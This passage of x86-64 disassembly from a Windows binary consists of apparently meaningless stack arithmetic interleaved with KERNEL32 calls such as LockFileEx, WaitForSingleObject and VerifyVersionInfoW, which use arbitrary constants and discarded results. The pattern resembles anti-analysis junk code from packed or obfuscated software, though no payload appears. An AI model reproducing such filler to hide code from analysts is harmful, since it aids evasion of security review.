call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa144], eax
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x8b20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7254], eax
mov rax, qword [rsp + 0x14fb0]
mov eax, dword [rax]
mov dword [0x14036a158], eax
mov eax, dword [rsp + 0x9aac]
mov ecx, dword [rsp + 0x9bec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa024], eax
mov rax, qword [0x140369e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1640]
sub eax, ecx
mov word [rsp + 0x11b0], ax
movsx eax, byte [rsp + 0x77d]
movsx ecx, byte [rsp + 0x73e]
sub eax, ecx
mov byte [rsp + 0x783], al
mov rax, qword [rsp + 0x13138]
movzx eax, word [rax]
mov word [rsp + 0x2d38], ax
mov rcx, qword [rsp + 0x149d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x750]
add eax, ecx
mov rcx, qword [rsp + 0x14e90]
mov byte [rcx], al
mov rax, qword [rsp + 0x14648]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6598], eax
lea rax, [rsp + 0xa11c]
mov qword [rsp + 0x15278], rax
mov rax, qword [0x140369e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x137d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x149b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140362494], ax
lea rax, [rsp + 0x5d50]
mov qword [rsp + 0x15280], rax
mov rax, qword [rsp + 0x12ea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8860]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e6c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x6218]
movzx ecx, al
mov eax, dword [rsp + 0x9cd0]
sar eax, cl
mov dword [rsp + 0x5c30], eax
lea rax, [rsp + 0x6658]
mov qword [rsp + 0x15288], rax
movzx eax, byte [rsp + 0x702]
movzx ecx, byte [rsp + 0x21a]
cdq
idiv ecx
mov byte [rsp + 0x1f1], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b74], eax
mov rax, qword [rsp + 0x140f8]
movzx eax, word [rax]
mov word [rsp + 0x2d3c], ax
mov rax, qword [rsp + 0x14be8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9aac]
shl eax, cl
mov rcx, qword [rsp + 0x15100]
mov dword [rcx], eax
lea rax, [rsp + 0x7ccc]
mov qword [rsp + 0x15290], rax
movzx eax, byte [rsp + 0x6f8]
mov byte [0x140363f6f], al
mov rax, qword [rsp + 0x13c38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c20]
or eax, ecx
mov rcx, qword [rsp + 0x13a80]
mov word [rcx], ax
mov rax, qword [0x140369fc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13288]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x15148]
mov byte [rcx], al
lea rax, [rsp + 0x2d20]
mov qword [rsp + 0x15298], rax
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x140e0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa054], eax
mov rax, qword [rsp + 0x14080]
mov rcx, qword [rsp + 0x13d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5738], eax
lea rax, [rsp + 0x9ff0]
mov qword [rsp + 0x152a0], rax
mov rax, qword [rsp + 0x13190]
mov ecx, dword [rsp + 0x9e34]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x92e8], eax
mov rax, qword [rsp + 0x13b28]
mov rcx, qword [rsp + 0x12e88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f44], eax
mov rax, qword [0x140369fa0]
mov ecx, dword [rsp + 0x9f00]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7a3c], eax
movzx eax, byte [rsp + 0x75a]
mov rcx, qword [rsp + 0x14af0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x146e0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa154], eax
mov rax, qword [rsp + 0x14a18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c18]
and eax, ecx
mov word [0x1403624bc], ax
lea rax, [rsp + 0xa0d8]
mov qword [rsp + 0x152a8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3e56
mov r9d, 0x2aa9
mov r8d, 0xc5295dce
mov edx, 1
mov rcx, qword [rsp + 0x141f0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9ed0], eax
mov rax, qword [rsp + 0x14dd0]
mov rcx, qword [rsp + 0x14300]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13680]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9fd4]
mov ecx, dword [rsp + 0x81e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9fe8]
mov dword [rsp + 0xa158], eax
movzx eax, word [rsp + 0x2c80]
movzx ecx, word [rsp + 0x2c84]
add eax, ecx
mov word [rsp + 0x1b98], ax
lea rax, [0x1403525cb]
mov qword [rsp + 0x152b0], rax
movsx eax, word [rsp + 0x1570]
movsx ecx, word [rsp + 0x2cb4]
sar eax, cl
mov rcx, qword [rsp + 0x13468]
mov word [rcx], ax
mov rax, qword [rsp + 0x14ea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe3]
xor eax, ecx
mov rcx, qword [rsp + 0x13bd8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x13bf0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x777c]
movzx ecx, al
mov eax, dword [0x140369f88]
shl eax, cl
mov dword [0x14036250c], eax
lea rax, [rsp + 0x9ef4]
mov qword [rsp + 0x152b8], rax
movzx eax, byte [rsp + 0x74d]
mov rcx, qword [0x140369ce8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x6c0], al
lea rax, [rsp + 0x1f24]
mov qword [rsp + 0x152c0], rax
mov rax, qword [rsp + 0x146a8]
mov rcx, qword [rsp + 0x14ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14bc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8b20]
mov ecx, dword [rsp + 0x99e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f28], eax
mov rax, qword [rsp + 0x142c8]
mov ecx, dword [rsp + 0xa0b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x72b8], eax
mov rax, qword [rsp + 0x13048]
mov rcx, qword [rsp + 0x13b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14ad8]
mov dword [rcx], eax
movzx eax, byte [0x140363f1f]
mov byte [rsp + 0x793], al
lea rdx, [rsp + 0x430c8]
mov rcx, qword [rsp + 0x139f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa15c], eax
movzx eax, word [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x14908]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140369e28]
mov word [rcx], ax
mov eax, dword [rsp + 0x9fa4]
mov ecx, dword [rsp + 0x9b54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f30], eax
mov rcx, qword [rsp + 0x12df8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a44], eax
lea rax, [0x140369ea0]
mov qword [rsp + 0x152c8], rax
mov rax, qword [rsp + 0x134c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a78]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb0], eax
mov rax, qword [0x14036a150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa108]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c94], eax
mov edx, 0xda6
mov rcx, qword [rsp + 0x136b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa160], eax
lea rax, [rsp + 0x9f04]
mov qword [rsp + 0x152d0], rax
mov rax, qword [rsp + 0x13770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c90]
sub eax, ecx
mov rcx, qword [rsp + 0x14150]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
mov rcx, qword [0x140369ed8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x314], al
movzx eax, word [rsp + 0x2cbc]
movzx ecx, word [rsp + 0x2978]
add eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
lea rax, [rsp + 0x2e7]
mov qword [0x14036a160], rax
mov rax, qword [rsp + 0x14678]
mov ecx, dword [rsp + 0x87e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa070], eax
lea rax, [rsp + 0x9b50]
mov qword [rsp + 0x152d8], rax
movzx eax, byte [rsp + 0x337]
movzx ecx, byte [rsp + 0x78d]
sar eax, cl
mov byte [rsp + 0x75a], al
lea rax, [rsp + 0x1384]
mov qword [rsp + 0x152e0], rax
mov rax, qword [rsp + 0x13328]
mov eax, dword [rax]
mov rcx, qword [0x140369c58]
mov qword [rsp + 0x152e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x152e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9d5c], eax
mov rax, qword [rsp + 0x151d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9be4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5dd8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa130], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x6bb
mov r9d, 0x13a7
mov r8d, 0x90c2262b
mov edx, 2
mov rcx, qword [rsp + 0x14778]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa014], eax
lea rax, [rsp + 0x9cf0]
mov qword [rsp + 0x152f0], rax
mov rax, qword [rsp + 0x134c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b2c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14668]
mov dword [rcx], eax
lea rax, [rsp + 0x21a]
mov qword [0x14036a168], rax
mov rax, qword [rsp + 0x13888]
movzx eax, word [rax]
mov word [rsp + 0x2d40], ax
mov eax, dword [rsp + 0x9b8c]
mov ecx, dword [rsp + 0x7b60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f20], eax
lea rax, [rsp + 0x6a84]
mov qword [rsp + 0x152f8], rax
mov rax, qword [rsp + 0x13310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15248]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c54], ax
movsx eax, byte [rsp + 0x73e]
mov rcx, qword [rsp + 0x14ea0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x761], al
movzx eax, word [rsp + 0x2b98]
mov word [rsp + 0x2d44], ax
mov rax, qword [rsp + 0x13a88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74a]
and eax, ecx
mov byte [rsp + 0x361], al
lea rax, [rsp + 0x9074]
mov qword [rsp + 0x15300], rax
mov rax, qword [rsp + 0x12fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8008]
sub ecx, eax
mov eax, ecx
mov dword [0x140369d38], eax
mov rax, qword [rsp + 0x133d0]
mov rcx, qword [rsp + 0x149c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x92e8], eax
mov rax, qword [rsp + 0x14d78]
mov ecx, dword [rsp + 0x8ee8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13948]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15308], rax
mov rax, qword [rsp + 0x12ef0]
mov rcx, qword [rsp + 0x143c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6cc4], eax
movzx eax, byte [0x140363ede]
movzx ecx, byte [rsp + 0x752]
add eax, ecx
mov byte [rsp + 0x74], al
movzx eax, word [rsp + 0x2c0c]
mov word [rsp + 0x2d48], ax
mov eax, dword [rsp + 0x9ed4]
movzx ecx, al
mov eax, dword [rsp + 0x602c]
sar eax, cl
mov dword [rsp + 0x871c], eax
mov rax, qword [rsp + 0x13790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ffc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x93fc], eax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9bb4]
shl eax, cl
mov dword [rsp + 0x807c], eax
mov rax, qword [rsp + 0x13aa8]
mov rcx, qword [0x14036a020]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140369da8], eax
movzx eax, byte [rsp + 0x779]
movzx ecx, byte [rsp + 0x678]
imul eax, ecx
mov rcx, qword [rsp + 0x14520]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bb4]
mov word [rsp + 0x2d4c], ax
mov rax, qword [rsp + 0x12fa8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13468]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13e38]
mov word [rcx], ax
lea rax, [rsp + 0x738]
mov qword [rsp + 0x15310], rax
mov rax, qword [rsp + 0x13270]
mov rcx, qword [rsp + 0x138f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9d90], eax
mov rax, qword [rsp + 0x13f58]
mov ecx, dword [rsp + 0x9b64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa01c], eax
lea rax, [rsp + 0x2bd]
mov qword [rsp + 0x15318], rax
movzx eax, word [rsp + 0x2bc4]
mov rcx, qword [rsp + 0x14a28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bf4], ax
lea rax, [rsp + 0x6a24]
mov qword [0x14036a170], rax
mov rax, qword [rsp + 0x13030]
mov eax, dword [rax]
mov dword [rsp + 0xa164], eax
mov eax, dword [rsp + 0x9e60]
mov ecx, dword [rsp + 0x57e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9fd4], eax
mov eax, dword [0x140369c64]
mov ecx, dword [rsp + 0x9b6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134a0]
mov dword [rcx], eax
lea rax, [rsp + 0x2be8]
mov qword [rsp + 0x15320], rax
mov rax, qword [rsp + 0x150f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov byte [rcx], al
lea rax, [rsp + 0x86dc]
mov qword [rsp + 0x15328], rax
mov rax, qword [0x140369e70]
mov ecx, dword [rsp + 0x7a5c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14788]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0xddd
mov r9d, 0x1059
mov r8d, 0x950
mov edx, 0x2fd1
mov rcx, qword [rsp + 0x13de8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9cd4], eax
mov rax, qword [rsp + 0x13368]
mov rcx, qword [rsp + 0x14928]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6270], eax
lea rax, [0x140369c08]
mov qword [0x14036a178], rax
lea rdx, [rsp + 0x43138]
mov rcx, qword [rsp + 0x14470]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa0e8], eax
mov eax, dword [rsp + 0x99b4]
mov ecx, dword [rsp + 0x9c34]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a40], eax
mov rax, qword [rsp + 0x145f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13a58]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x74b], al
mov edx, 0x1776
mov rcx, qword [rsp + 0x133f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9afc], eax
lea rax, [rsp + 0x2c04]
mov qword [rsp + 0x15330], rax
mov rax, qword [rsp + 0x14ab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13d10]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x14d30]
mov byte [rcx], al
mov rax, qword [rsp + 0x13138]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14bc]
sar eax, cl
mov word [rsp + 0x2bec], ax
lea rdx, [rsp + 0x43170]
mov rcx, qword [rsp + 0x13648]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9e7c], eax
lea rax, [0x140369e40]
mov qword [rsp + 0x15338], rax
mov eax, dword [rsp + 0xa030]
mov ecx, dword [rsp + 0xa13c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d08], eax
mov rax, qword [rsp + 0x13cd8]
movzx eax, word [rax]
mov word [rsp + 0x2d50], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4c0f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9af8], eax
mov rax, qword [rsp + 0x13420]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14a68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140369be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13298]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9960]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13bc0]
mov dword [rcx], eax
lea rax, [rsp + 0x9db8]
mov qword [rsp + 0x15340], rax
mov rax, qword [0x140369d80]
mov rcx, qword [rsp + 0x14298]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14538]
mov ecx, dword [rsp + 0x5260]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9bd0], eax
lea rax, [rsp + 0x1dc8]
mov qword [rsp + 0x15348], rax
movzx eax, byte [0x1403525af]
movzx ecx, byte [rsp + 0x741]
add eax, ecx
mov byte [rsp + 0x49b], al
mov edx, 0x14a3
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa130], eax
lea rax, [rsp + 0x9acc]
mov qword [rsp + 0x15350], rax
mov eax, dword [rsp + 0xa024]
mov ecx, dword [rsp + 0x9bfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c68], eax
lea rax, [0x140369c60]
mov qword [0x14036a180], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x459]
add eax, ecx
mov byte [rsp + 0x399], al
mov edx, 0x106a
mov rcx, qword [rsp + 0x15110]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9afc], eax
lea rax, [rsp + 0x702]
mov qword [rsp + 0x15358], rax
mov rax, qword [rsp + 0x15078]
movzx eax, word [rax]
movzx ecx, word [0x140352bcc]
sub eax, ecx
mov word [rsp + 0x2b8c], ax
lea rax, [rsp + 0x9d38]
mov qword [rsp + 0x15360], rax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4c0f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa168], eax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x15168]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14818]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x13c30]
mov eax, dword [rax]
mov ecx, dword [0x14036246c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x527c], eax
mov rax, qword [rsp + 0x14998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa074]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7280], eax
mov rax, qword [0x140369d70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9e08]
sar eax, cl
mov rcx, qword [rsp + 0x130e8]
mov dword [rcx], eax
lea rax, [rsp + 0x2cc0]
mov qword [rsp + 0x15368], rax
mov rcx, qword [rsp + 0x15068]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x14f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2e0]
shl eax, cl
mov byte [0x1403525a3], al
mov rax, qword [0x140369c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8c68]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13be8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13548]
mov eax, dword [rax]
mov dword [rsp + 0xa16c], eax
mov eax, dword [rsp + 0x9ec0]
mov ecx, dword [rsp + 0xa0f0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14d70]
mov rcx, qword [rsp + 0x13c28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa124], eax
mov rax, qword [rsp + 0x14ab0]
movzx eax, byte [rax]
mov byte [rsp + 0x794], al
mov rax, qword [rsp + 0x14b50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c2c]
imul eax, ecx
mov rcx, qword [rsp + 0x151b8]
mov word [rcx], ax
lea rax, [0x14036a0b4]
mov qword [rsp + 0x15370], rax
mov rax, qword [rsp + 0x14938]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14750]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x559], al
mov rax, qword [rsp + 0x13fd8]
mov eax, dword [rax]
mov dword [0x14036a188], eax
mov rax, qword [rsp + 0x14f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9990]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x149a8]
mov dword [rcx], eax
lea rax, [rsp + 0x1f38]
mov qword [rsp + 0x15378], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2a28
mov r9d, 0x2f81
mov r8d, 0xdf1a3037
mov edx, 2
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa170], eax
movzx eax, byte [rsp + 0x18b]
mov rcx, qword [rsp + 0x13170]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14880]
mov byte [rcx], al
mov rax, qword [rsp + 0x14670]
mov rcx, qword [0x140369da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7b9c], eax
mov rax, qword [rsp + 0x13418]
mov ecx, dword [rsp + 0x9960]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14860]
mov rcx, qword [rsp + 0x13048]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x132e0]
mov dword [rcx], eax
lea rax, [rsp + 0x9b44]
mov qword [rsp + 0x15380], rax
mov rax, qword [rsp + 0x13170]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13d80]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27e], al
mov rax, qword [rsp + 0x14d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c4c]
sub eax, ecx
mov word [0x140369c88], ax
mov rax, qword [rsp + 0x13418]
mov eax, dword [rax]
mov dword [rsp + 0xa174], eax
mov rax, qword [rsp + 0x14320]
mov rcx, qword [rsp + 0x14b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b88], eax
mov eax, dword [0x140369e34]
movzx ecx, al
mov eax, dword [rsp + 0x9a5c]
shl eax, cl
mov rcx, qword [rsp + 0x13cf8]
mov dword [rcx], eax
lea rax, [rsp + 0x81e0]
mov qword [rsp + 0x15388], rax
mov rax, qword [rsp + 0x132b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x95fc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ca0], eax
mov rax, qword [rsp + 0x13008]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2074]
sar eax, cl
mov word [rsp + 0x2808], ax
mov rax, qword [rsp + 0x14938]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x789]
imul eax, ecx
mov byte [rsp + 0x6a8], al
movzx eax, word [rsp + 0x10d4]
mov word [rsp + 0x2d54], ax
movzx eax, byte [rsp + 0x1c4]
movzx ecx, byte [0x1403525bb]
or eax, ecx
mov rcx, qword [0x140369ee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13d28]
mov ecx, dword [rsp + 0x5418]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13cb0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa070]
mov ecx, dword [rsp + 0x92dc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a7c], eax
movzx eax, word [0x1403624cc]
movzx ecx, word [rsp + 0x1168]
sub eax, ecx
mov word [rsp + 0x2afc], ax
movzx eax, byte [rsp + 0x16e]
mov rcx, qword [rsp + 0x13708]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [0x140369e50]
mov eax, dword [rax]
mov dword [rsp + 0xa178], eax
mov eax, dword [rsp + 0x9b70]
mov ecx, dword [rsp + 0x9f20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x142f0]
mov rcx, qword [rsp + 0x12fd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9aac], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2295
mov r9d, 0xe7f
mov r8d, 0xf578d9c5
mov edx, 2
mov rcx, qword [rsp + 0x14fc8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9bf8], eax
lea rax, [0x140369de0]
mov qword [rsp + 0x15390], rax
movzx eax, byte [rsp + 0x37f]
mov rcx, qword [rsp + 0x139d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1403525ce], al
mov rax, qword [rsp + 0x13b20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x136e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2be0], ax
mov eax, dword [0x140369eec]
mov dword [rsp + 0xa17c], eax
mov rax, qword [rsp + 0x150f8]
mov rcx, qword [rsp + 0x14c18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x138d8]
mov dword [rcx], eax
mov dword [rsp + 0x4c9f0], 0x11c
movsx eax, byte [rsp + 0x518]
movsx ecx, byte [rsp + 0x4bc]
xor eax, ecx
mov rcx, qword [rsp + 0x150d0]
mov byte [rcx], al
mov rax, qword [0x140369c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15048]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2020], ax
mov rax, qword [rsp + 0x13858]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73a]
sar eax, cl
mov rcx, qword [rsp + 0x145e8]
mov byte [rcx], al
mov rax, qword [0x140369df0]
movzx eax, word [rax]
mov word [rsp + 0x2d58], ax
mov rax, qword [rsp + 0x14158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6850]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9354], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4b7f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9b0c], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x26c3
mov r8d, 0x2d98
mov edx, 0xb1
mov rcx, qword [rsp + 0x13e30]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa180], eax
mov rax, qword [rsp + 0x14118]
